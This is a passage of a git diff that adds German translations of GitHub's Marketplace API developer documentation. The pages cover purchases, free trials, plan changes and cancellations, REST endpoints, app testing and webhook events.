+Bei Transaktionen, die vor dem 1. Januar 2021 erfolgten, behält {% data variables.product.company_short %} 25 % der Transaktionseinnahmen ein. Bei Transaktionen, die nach diesem Datum erfolgten, werden nur 5 % von {% data variables.product.company_short %} einbehalten. Diese Änderung zeigt sich bei Zahlungseingängen ab Ende Januar 2021.
+
+{% note %}
+
+**Hinweis:** Ausführliche Informationen zu den aktuellen Preisen und Zahlungsbedingungen findest du unter [{% data variables.product.prodname_marketplace %}-Entwicklervereinbarung](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement).
+
+{% endnote %}
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
new file mode 100644
index 0000000000..0866000d38
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
@@ -0,0 +1,89 @@
+---
+title: Behandeln neuer Käufe und kostenloser Testperioden
+intro: 'Wenn ein Kunde einen kostenpflichtigen Plan, eine kostenlose Testversion oder die kostenlose Version deiner {% data variables.product.prodname_marketplace %}-App erwirbt, wird der [`marketplace_purchase`-Ereigniswebhook](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) mit der `purchased`-Aktion ausgelöst, der den Kaufprozess startet.'
+redirect_from:
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials
+  - /marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials
+  - /developers/github-marketplace/handling-new-purchases-and-free-trials
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: New purchases & free trials
+ms.openlocfilehash: b0c1cf055d912cd83e2167bfcbd0136a2644b1aa
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145089627'
+---
+{% warning %}
+
+Wenn du eine {% data variables.product.prodname_github_app %} in {% data variables.product.prodname_marketplace %} anbietest, muss deine App Benutzer anhand des OAuth-Autorisierungsflows identifizieren. Du musst keine separate {% data variables.product.prodname_oauth_app %} zur Unterstützung dieses Flows einrichten. Weitere Informationen findest du unter [Identifizieren und Autorisieren von Benutzer*innen für {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/).
+
+{% endwarning %}
+
+## Schritt 1: Anfängliches Kauf- und Webhookereignis
+
+Bevor ein Kunde deine {% data variables.product.prodname_marketplace %} -App kauft, wählt er einen [Angebotsplan](/marketplace/selling-your-app/github-marketplace-pricing-plans/) aus. Er wählt außerdem aus, ob die App über das persönliche Konto oder ein Organisationskonto erworben werden soll.
+
+Der Kunde schließt den Kauf ab, indem er auf **Complete order and begin installation** (Bestellung abschließen und Installation beginnen) klickt.
+
+{% data variables.product.product_name %} sendet dann den [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase)-Webhook mit der `purchased`-Aktion an deine App.
+
+Lies das `effective_date`- und `marketplace_purchase`-Objekt aus dem `marketplace_purchase`-Webhook, um festzustellen, welchen Plan der Kunde gekauft hat, wann der Abrechnungszeitraum beginnt und wann der nächste Abrechnungszeitraum beginnt.
+
+Wenn deine App eine kostenlose Testperiode bietet, lies das `marketplace_purchase[on_free_trial]`-Attribut aus dem Webhook. Lautet der Wert `true`, muss deine App das Startdatum der kostenlosen Testperiode (`effective_date`) und das Datum, an dem die kostenlose Testperiode endet (`free_trial_ends_on`), nachverfolgen. Verwende das `free_trial_ends_on`-Datum, um die verbleibenden Tage der kostenlosen Testperiode auf der Benutzeroberfläche deiner App anzuzeigen. Dies kann entweder in einem Banner oder auf der [Benutzeroberfläche für die Abrechnung](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui) erfolgen. Informationen zum Behandeln von Kündigungen vor Ablauf einer kostenlosen Testperiode findest du unter [Behandeln von Plankündigungen](/developers/github-marketplace/handling-plan-cancellations). Informationen dazu, wie bei einer kostenlosen Testperiode nach deren Ablauf zu einem kostenpflichtigen Plan gewechselt wird, findest du unter [Behandeln von Planänderungen](/developers/github-marketplace/handling-plan-changes).
+
+Unter [{% data variables.product.prodname_marketplace %}-Webhookereignisse](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) findest du ein Beispiel für die `marketplace_purchase`-Ereignisnutzdaten.
+
+## Schritt 2: Installation
+
+Wenn es sich bei deiner App um eine {% data variables.product.prodname_github_app %} handelt, fordert {% data variables.product.product_name %} den Kunden auf, beim Kauf auszuwählen, auf welche Repositorys die App zugreifen kann. {% data variables.product.product_name %} installiert dann die App in dem vom Kunden ausgewählten Konto und gewährt Zugriff auf die ausgewählten Repositorys.
+
+Wenn du eine **Setup-URL** in deinen {% data variables.product.prodname_github_app %}-Einstellungen angegeben hast, leitet {% data variables.product.product_name %} den Kunden an diesem Punkt zu dieser URL um. Wenn du keine Setup-URL angibst, kannst du keine Käufe deiner {% data variables.product.prodname_github_app %} handhaben.
+
+{% note %}
+
+**Hinweis:** Die **Setup-URL** ist in den {% data variables.product.prodname_github_app %} -Einstellungen als optional angegeben, ist jedoch ein Pflichtfeld, wenn du deine App in {% data variables.product.prodname_marketplace %} anbieten möchtest.
+
+{% endnote %}
+
+Wenn es sich bei deiner App um eine {% data variables.product.prodname_oauth_app %} handelt, wird sie von {% data variables.product.product_name %} nirgendwo installiert. Stattdessen leitet {% data variables.product.product_name %} den Kunden an die **Installations-URL** um, die du in deinem [{% data variables.product.prodname_marketplace %}-Angebot](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls) angegeben hast.
+
+Wenn ein Kunde eine {% data variables.product.prodname_oauth_app %} kauft, leitet {% data variables.product.product_name %} den Kunden an die von Dir ausgewählte URL (Setup-URL oder Installations-URL) um, und die URL enthält den vom Kunden ausgewählten Preisplan als Abfrageparameter: `marketplace_listing_plan_id`.
+
+## Schritt 3: Authorization
+
+Wenn ein Kunde deine App kauft, musst du ihn durch den OAuth-Autorisierungsflow leiten:
+
+* Falls es sich bei deiner App um eine {% data variables.product.prodname_github_app %} handelt, beginnst du den Autorisierungsflow, sobald {% data variables.product.product_name %} den Kunden an die **Setup-URL** umleitet. Führe die Schritte unter [Identifizieren und Autorisieren von Benutzer*innen für {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) aus.
+
+* Falls es sich bei deiner App um eine {% data variables.product.prodname_oauth_app %} handelt, beginnst du den Autorisierungsflow, sobald {% data variables.product.product_name %} den Kunden an die **Installations-URL** umleitet. Führe die Schritte unter [Autorisieren von {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/) aus.
+
+Bei beiden App-Typen besteht der erste Schritt darin, den Kunden an [https://github.com/login/oauth/authorize](https://github.com/login/oauth/authorize) umzuleiten.
+
+Nachdem der Kunde die Autorisierung abgeschlossen hat, erhält deine App ein OAuth-Zugriffstoken für den Kunden. Du brauchst dieses Token im nächsten Schritt.
+
+{% note %}
+
+**Hinweis:** Wenn du einen Kunden für eine kostenlose Testperiode autorisierst, gewähre ihm denselben Zugriff, den er auch im kostenpflichtigen Plan haben würde.  Nach Ablauf des Testzeitraums wird die Version in den kostenpflichtigen Plan umgewandelt.
+
+{% endnote %}
+
+## Schritt 4. Bereitstellen von Kundenkonten
+
+Deine App muss ein Kundenkonto für alle neuen Käufe bereitstellen. Verwende das Zugriffstoken, das du für den Kunden in [Schritt 3: Autorisierung](#step-3-authorization) erhalten hast, und rufe den Endpunkt [Auflisten von Abonnements für den authentifizierten Benutzer](/rest/reference/apps#list-subscriptions-for-the-authenticated-user) auf. Die Antwort enthält die `account`-Informationen des Kunden und gibt an, ob er sich in einer kostenlosen Testperiode befindet (`on_free_trial`). Verwende diese Informationen, um die Einrichtung und Bereitstellung abzuschließen.
+
+{% data reusables.marketplace.marketplace-double-purchases %}
+
+Wenn der Kauf für eine Organisation und pro Benutzer erfolgt, kannst du den Kunden auffordern auszuwählen, welche Organisationsmitglieder Zugriff auf die erworbene App haben.
+
+Du kannst anpassen, auf welche Weise Organisationsmitglieder Zugriff auf deine App erhalten. Hier sind einige Vorschläge angegeben:
+
+**Pauschalpreise:** Wenn der Kauf für eine Organisation mit Pauschalpreisen erfolgt, kann deine App [alle Mitglieder der Organisation über die API abrufen](/rest/reference/orgs#list-organization-members) und den Organisationsadministrator auffordern auszuwählen, welche Mitglieder über bezahlte Benutzer auf Integratorseite verfügen.
+
+**Preise pro Einheit:** Eine Methode zur Bereitstellung von Arbeitsplätzen pro Einheit besteht darin, den Benutzern die Möglichkeit zu geben, beim Anmelden bei der App einen Arbeitsplatz zu belegen. Sobald der Kunde den Schwellenwert für die Anzahl von Arbeitsplätzen erreicht, kann deine App den Benutzer darüber benachrichtigen, dass ein Upgrade über {% data variables.product.prodname_marketplace %} erfolgen muss.
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
new file mode 100644
index 0000000000..90f4cd9bbe
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
@@ -0,0 +1,41 @@
+---
+title: Behandeln von Plankündigungen
+intro: 'Durch die Kündigung einer {% data variables.product.prodname_marketplace %}-App wird der [`marketplace_purchase`-Ereigniswebhook](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) mit der Aktion `cancelled` ausgelöst, wodurch der Kündigungsprozess gestartet wird.'
+redirect_from:
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
+  - /marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
+  - /developers/github-marketplace/handling-plan-cancellations
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Plan cancellations
+ms.openlocfilehash: 253506f1ac32f55649dd533559a7a16508cca98f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145089612'
+---
+Weitere Informationen zu Kündigungen im Zusammenhang mit der Abrechnung findest du unter [Abrechnen für Kunden im {% data variables.product.prodname_marketplace %}](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace).
+
+## Schritt 1: Kündigungsereignis
+
+Wenn ein Kunde eine {% data variables.product.prodname_marketplace %}-Bestellung kündigt, sendet GitHub einen [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)-Webhook mit der `cancelled`-Aktion an deine App, sobald die Kündigung wirksam wird. Wenn der Kunde während einer kostenlosen Testperiode kündigt, erhält deine App das Ereignis sofort. Wenn ein Kunde einen kostenpflichtigen Plan kündigt, erfolgt die Kündigung zum Ende des Abrechnungszeitraums des Kunden.
+
+## Schritt 2: Deaktivieren von Kundenkonten
+
+Wenn ein Kunde einen kostenlosen oder kostenpflichtigen Plan kündigt, muss deine App die folgenden Schritte zum Abschließen der Kündigung ausführen:
+
+1. Das Konto des Kunden deaktivieren, der seinen Plan gekündigt hat.
+1. Das OAuth-Token widerrufen, das deine App für den Kunden erhalten hat.
+1. Wenn es sich bei deiner App um eine OAuth-App handelt, entferne alle Webhooks, die deine App für Repositorys erstellt hat.
+1. Alle Kundendaten innerhalb von 30 Tagen nach Erhalt des `cancelled`-Ereignisses entfernen.
+
+{% note %}
+
+**Hinweis:** Es wird empfohlen, `effective_date` des [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)-Webhooks zu verwenden, um festzustellen, wann eine Planänderung eintritt, und die [Auflistung von Konten für einen Plan](/rest/reference/apps#list-accounts-for-a-plan) regelmäßig zu synchronisieren. Weitere Informationen zu Webhooks findest du unter [{% data variables.product.prodname_marketplace %}-Webhookereignisse](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/).
+
+{% endnote %}
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
new file mode 100644
index 0000000000..dadb5a5d73
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
@@ -0,0 +1,71 @@
+---
+title: Behandeln von Planänderungen
+intro: 'Durch das Up- oder Downgrade einer {% data variables.product.prodname_marketplace %}-App wird der [`marketplace_purchase`-Ereigniswebhook](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) mit der `changed`-Aktion ausgelöst, die den Up- oder Downgradeflow auslöst.'
+redirect_from:
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
+  - /marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
+  - /developers/github-marketplace/handling-plan-changes
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+ms.openlocfilehash: fd5cc838c01130ab9e8a1f7c040b254655cbaef0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131302'
+---
+Weitere Informationen zu Upgrades und Downgrades im Zusammenhang mit der Abrechnung findest du unter [Integration in die {% data variables.product.prodname_marketplace %}-API](/marketplace/integrating-with-the-github-marketplace-api/).
+
+## Schritt 1: Ereignis zur Preisplanänderung
+
+GitHub sendet den `marketplace_purchase`-Webhook mit der `changed`-Aktion an deine App, wenn ein Kunde eine der folgenden Änderungen an seiner {% data variables.product.prodname_marketplace %}-Bestellung vornimmt:
+* Durchführen eines Upgrades auf einen teureren Preisplan oder eines Downgrades auf einen günstigeren Preisplan
+* Hinzufügen oder Entfernen von Arbeitsplätzen zum bzw. aus dem vorhandenen Plan
+* Ändern des Abrechnungszyklus
+
+GitHub sendet den Webhook, wenn die Änderung wirksam wird. Wenn ein Kunde z. B. einen Plan herabstuft, sendet GitHub den Webhook am Ende des Abrechnungszyklus für den Kunden. Wenn ein Kunde ein Upgrade für seinen Plan durchführt, sendet GitHub sofort einen Webhook an deine App, damit der Kunde direkt auf den neuen Dienst zugreifen kann. Wenn ein Kunde von einem monatlichen zu einem jährlichen Abrechnungszyklus wechselt, wird dies als Upgrade betrachtet. Weitere Informationen dazu, welche Aktionen als Upgrade oder Downgrade eingestuft werden, findest du unter [Abrechnen für Kunden im {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/billing-customers-in-github-marketplace/).
+
+Lies `effective_date`, `marketplace_purchase` und `previous_marketplace_purchase` aus dem `marketplace_purchase`-Webhook, um das Startdatum des Plans zu aktualisieren und Änderungen am Abrechnungszyklus und am Preisplan des Kunden vorzunehmen. Unter [{% data variables.product.prodname_marketplace %}-Webhookereignisse](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) findest du ein Beispiel für die `marketplace_purchase`-Ereignisnutzdaten.
+
+Wenn deine App kostenlose Testversionen anbietet, erhältst du den `marketplace_purchase`-Webhook mit der `changed`-Aktion, wenn die kostenlose Testversion abläuft. Wenn die kostenlose Testversion des Kunden abläuft, führe für den Kunden ein Upgrade auf die kostenpflichtige Version des kostenlosen Testplans durch.
+
+## Schritt 2: Aktualisieren von Kundenkonten
+
+Du musst die Kontoinformationen des Kunden auf die Abrechnungszyklus- und Preisplanänderungen aktualisieren, die der Kunde an seiner {% data variables.product.prodname_marketplace %}-Bestellung vorgenommen hat. Zeige Upgrades auf den Preisplan, `seat_count` (für Preispläne pro Einheit) und Abrechnungszyklus auf der Website deiner Marketplace-App oder der Benutzeroberfläche deiner App an, wenn du den `changed`-Aktionswebhook erhältst.
+
+Wenn ein Kunde einen Plan herabstuft, empfiehlt es sich, zu überprüfen, ob der Kunde die Grenzwerte des Plans überschritten hat. In diesem Fall solltest du direkt in deiner Benutzeroberfläche oder per Telefon oder E-Mail Kontakt aufnehmen.
+
+Um Personen zum Upgrade zu ermuntern, kannst du eine Upgrade-URL in der Benutzeroberfläche deiner App anzeigen. Weitere Informationen findest du unter [Informationen zu Upgrade-URLs](#about-upgrade-urls).
+
+{% note %}
+
+**Hinweis:** Es wird empfohlen, eine regelmäßige Synchronisierung über `GET /marketplace_listing/plans/:id/accounts` durchzuführen, um sicherzustellen, dass deine App für jedes Konto über den richtigen Plan, die korrekten Informationen zum Abrechnungszyklus und die richtige Einheitenanzahl (für Preise pro Einheit) verfügt.
+
+{% endnote %}
+
+## Fehlerhafte Upgradezahlungen
+
+{% data reusables.marketplace.marketplace-failed-purchase-event %}
+
+## Informationen zu Upgrade-URLs
+
+Über eine Upgrade-URL kannst du Benutzer von der Benutzeroberfläche deiner App umleiten, um ein Upgrade auf GitHub auszuführen:
+
+```text
+https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID>
+```
+
+Wenn du beispielsweise feststellst, dass ein Kunde einen 5-Personen-Plan verwendet und zu einem 10-Personen-Plan wechseln muss, kannst du in der Benutzeroberfläche deiner App eine Schaltfläche mit dem Hinweis „Hier erhältst du Informationen zum Upgrade“ oder ein Banner mit einem Link zur Upgrade-URL anzeigen. Die Upgrade-URL führt den Kunden zur Upgradebestätigungsseite deines Listingplans.
+
+Verwende die `LISTING_PLAN_NUMBER` für den Plan, den der Kunde erwerben möchte. Wenn du neue Preispläne erstellst, erhalten diese eine `LISTING_PLAN_NUMBER`, die für jeden Plan in deinem Listing eindeutig ist, sowie eine `LISTING_PLAN_ID`, die für jeden Plan im {% data variables.product.prodname_marketplace %} eindeutig ist. Du kannst diese Nummern finden, indem du [Pläne auflistest](/rest/reference/apps#list-plans). Dadurch werden die Preispläne deines Listings identifiziert. Verwende die `LISTING_PLAN_ID` und den Endpunkt [Konten für einen Plan auflisten](/rest/reference/apps#list-accounts-for-a-plan), um den `CUSTOMER_ACCOUNT_ID`-Endpunkt abzurufen.
+
+
+{% note %}
+
+**Hinweis**: Wenn dein Kunde ein Upgrade auf zusätzliche Einheiten (z. B. Arbeitsplätze) durchführt, kannst du ihn zwar an den entsprechenden Plan für den Kauf verweisen, aber wir können `unit_count`-Parameter derzeit nicht unterstützen.
+
+{% endnote %}
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
new file mode 100644
index 0000000000..5e756d4dad
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
@@ -0,0 +1,28 @@
+---
+title: Verwenden der GitHub Marketplace-API in deiner App
+intro: 'Hier erfährst du, wie du die {% data variables.product.prodname_marketplace %}-API und Webhook-Ereignisse mit deiner App für den {% data variables.product.prodname_marketplace %} integrierst.'
+redirect_from:
+  - /apps/marketplace/setting-up-github-marketplace-webhooks
+  - /apps/marketplace/integrating-with-the-github-marketplace-api
+  - /marketplace/integrating-with-the-github-marketplace-api
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+children:
+  - /rest-endpoints-for-the-github-marketplace-api
+  - /webhook-events-for-the-github-marketplace-api
+  - /testing-your-app
+  - /handling-new-purchases-and-free-trials
+  - /handling-plan-changes
+  - /handling-plan-cancellations
+shortTitle: Marketplace API usage
+ms.openlocfilehash: c1c2134c916c2832cf73c2f0c61ef5036f7fe410
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145102844'
+---
+
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
new file mode 100644
index 0000000000..a7aba7ce46
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
@@ -0,0 +1,38 @@
+---
+title: REST-Endpunkte für die GitHub Marketplace-API
+intro: 'Um deine App in {% data variables.product.prodname_marketplace %} zu verwalten, verwende diese {% data variables.product.prodname_marketplace %}-API-Endpunkte.'
+redirect_from:
+  - /apps/marketplace/github-marketplace-api-endpoints
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
+  - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
+  - /developers/github-marketplace/rest-endpoints-for-the-github-marketplace-api
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: REST API
+ms.openlocfilehash: aac7df5600863521c482b8a13c31abf8fd103ecf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102843'
+---
+Hier sind einige nützliche Endpunkte, die für Marketplace-Einträge verfügbar sind:
+
+* [Auflisten von Plänen](/rest/reference/apps#list-plans)
+* [Auflisten von Konten für einen Plan](/rest/reference/apps#list-accounts-for-a-plan)
+* [Abrufen eines Abonnementplans für ein Konto](/rest/reference/apps#get-a-subscription-plan-for-an-account)
+* [Auflisten von Abonnements für den authentifizierten Benutzer](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+
+Ausführliche Informationen zur Authentifizierung bei Verwendung der {% data variables.product.prodname_marketplace %}-API findest du auf diesen Seiten:
+
+* [Autorisierungsoptionen für OAuth-Apps](/apps/building-oauth-apps/authorizing-oauth-apps/)
+* [Authentifizierungsoptionen für GitHub-Apps](/apps/building-github-apps/authenticating-with-github-apps/)
+
+{% note %}
+
+**Hinweis:**[Begrenzungen für die REST-API](/rest/overview/resources-in-the-rest-api#rate-limiting) gelten für alle {% data variables.product.prodname_marketplace %}-API-Endpunkte.
+
+{% endnote %}
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
new file mode 100644
index 0000000000..dee8d972f2
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
@@ -0,0 +1,51 @@
+---
+title: Testen der App
+intro: 'GitHub empfiehlt, deine App mit APIs und Webhooks zu testen, bevor du dein Angebot an {% data variables.product.prodname_marketplace %} übermittelst. So kannst du dafür sorgen, dass bei deinen Kunden keine Probleme auftreten. Bevor ein*e Onboardingexpert*in deine App genehmigt, muss dafür gesorgt sein, dass diese den Abrechnungsflow ordnungsgemäß ausführt.'
+redirect_from:
+  - /apps/marketplace/testing-apps-apis-and-webhooks
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
+  - /marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
+  - /developers/github-marketplace/testing-your-app
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+ms.openlocfilehash: c542f5bd46e4555a4459c669e2f9d75e29b63ffe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102840'
+---
+## Testen von Apps
+
+Du kannst Eintragsentwürfe für den {% data variables.product.prodname_marketplace %} verwenden, um alle Abrechnungsflows zu simulieren. Ein Eintrag im Entwurfszustand bedeutet, dass er noch nicht für die Genehmigung übermittelt wurde. Alle Einkäufe, die du mit einem Eintragsentwurf für den {% data variables.product.prodname_marketplace %} tätigst, führen _nicht_ zu tatsächlichen Transaktionen, und GitHub belastet deine Kreditkarte nicht. Beachte, dass du nur Einkäufe für Pläne simulieren kannst, die im Entwurfseintrag veröffentlicht wurden, und nicht für Pläne im Entwurfsstadium. Weitere Informationen findest du unter [Entwerfen eines Eintrags für deine App](/developers/github-marketplace/drafting-a-listing-for-your-app) und [Verwenden der {% data variables.product.prodname_marketplace %}-API in deiner App](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app).
+
+### Verwenden einer Entwicklungs-App mit einem Entwurfseintrag zum Testen von Änderungen
+
+Ein {% data variables.product.prodname_marketplace %}-Eintrag kann nur einer einzelnen App-Registrierung zugeordnet werden, und jede App kann nur auf ihren eigenen {% data variables.product.prodname_marketplace %}-Eintrag zugreifen. Aus diesen Gründen wird empfohlen, eine separate Entwicklungs-App mit derselben Konfiguration wie deine Produktions-App zu konfigurieren und einen _Entwurf_ des {% data variables.product.prodname_marketplace %}-Eintrags zu erstellen, den du zum Testen verwenden kannst. Der Angebotsentwurf für den {% data variables.product.prodname_marketplace %} ermöglicht es dir, Änderungen zu testen, ohne dadurch aktive Benutzer*innen deiner Produktions-App zu beeinträchtigen. Du musst deinen Entwicklungseintrag für den {% data variables.product.prodname_marketplace %} nie übermitteln, da du ihn nur zum Testen verwendest.
+
+Da du nur Eintragsentwürfe für den {% data variables.product.prodname_marketplace %} für öffentliche Apps erstellen kannst, musst du deine Produktions-App veröffentlichen. Öffentliche Apps können nicht außerhalb der veröffentlichten {% data variables.product.prodname_marketplace %}-Einträge gefunden werden, solange du die App-URL nicht freigibst. Ein Marketplace-Eintrag im Entwurfszustand ist nur für die Besitzer*innen der App sichtbar.
+
+Wenn du über eine Entwicklungs-App mit einem Eintragsentwurf verfügst, kannst du ihn verwenden, um Änderungen an deiner App zu testen, während du die Integration mit der {% data variables.product.prodname_marketplace %}-API und den -Webhooks durchführst.
+
+{% warning %}
+
+Tätige keine Testkäufe mit einer App, die auf dem {% data variables.product.prodname_marketplace %} aktiv ist.
+
+{% endwarning %}
+
+### Simulieren von Marketplace-Kaufereignissen
+
+Deine Testszenarios erfordern möglicherweise das Einrichten von Angebotsplänen, die kostenlose Testversionen und das Wechseln zwischen kostenlosen und kostenpflichtigen Abonnements beinhalten. Da Herabstufungen und Stornierungen erst mit dem nächsten Abrechnungszeitraum wirksam werden, stellt GitHub ein Feature nur für Entwickler*innen bereit, um „Ausstehende Änderung anwenden“ für `changed` zu erzwingen und `cancelled`-Aktionen zu planen, die sofort wirksam werden. Du kannst auf **Ausstehende Änderung anwenden** für Apps mit _Entwürfen_ von Marketplace-Einträgen unter https://github.com/settings/billing#pending-cycle: zugreifen.
+
+![Ausstehende Änderung anwenden](/assets/images/github-apps/github-apps-apply-pending-changes.png)
+
+## Testen von APIs
+
+Für die meisten API-Endpunkte des {% data variables.product.prodname_marketplace %} werden auch Stub-API-Endpunkte bereitgestellt, die hart codierte, falsche Daten zurückgeben, die du zum Testen verwenden kannst. Um Stub-Daten zu erhalten, musst du Stub-URLs angeben, die `/stubbed` in der Route enthalten, z. B. `/user/marketplace_purchases/stubbed`. Eine Liste der Endpunkte, die diesen Ansatz mit Stub-Daten unterstützen, findest du unter [{% data variables.product.prodname_marketplace %}-Endpunkte](/rest/reference/apps#github-marketplace).
+
+## Testen von Webhooks
+
+GitHub bietet Tools zum Testen deiner bereitgestellten Nutzdaten. Weitere Informationen findest du unter [Testen von Webhooks](/webhooks/testing/).
diff --git a/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
new file mode 100644
index 0000000000..d29701e4b2
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
@@ -0,0 +1,81 @@
+---
+title: Webhook-Ereignisse für die GitHub Marketplace-API
+intro: 'Eine {% data variables.product.prodname_marketplace %}-App empfängt Informationen zu Änderungen am Plan eines Benutzers aus dem Marketplace-Kaufereignis-Webhook. Ein Marketplace-Kaufereignis wird ausgelöst, wenn ein Benutzer seinen Zahlungsplan kauft, abbricht oder ändert.'
+redirect_from:
+  - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
+  - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
+  - /developers/github-marketplace/webhook-events-for-the-github-marketplace-api
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Webhook events
+ms.openlocfilehash: 63b99005c5b0da23c59794d8fd7ad724f5afd13a
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710403'
+---
+## {% data variables.product.prodname_marketplace %}-Kauf-Webhook-Payload
+
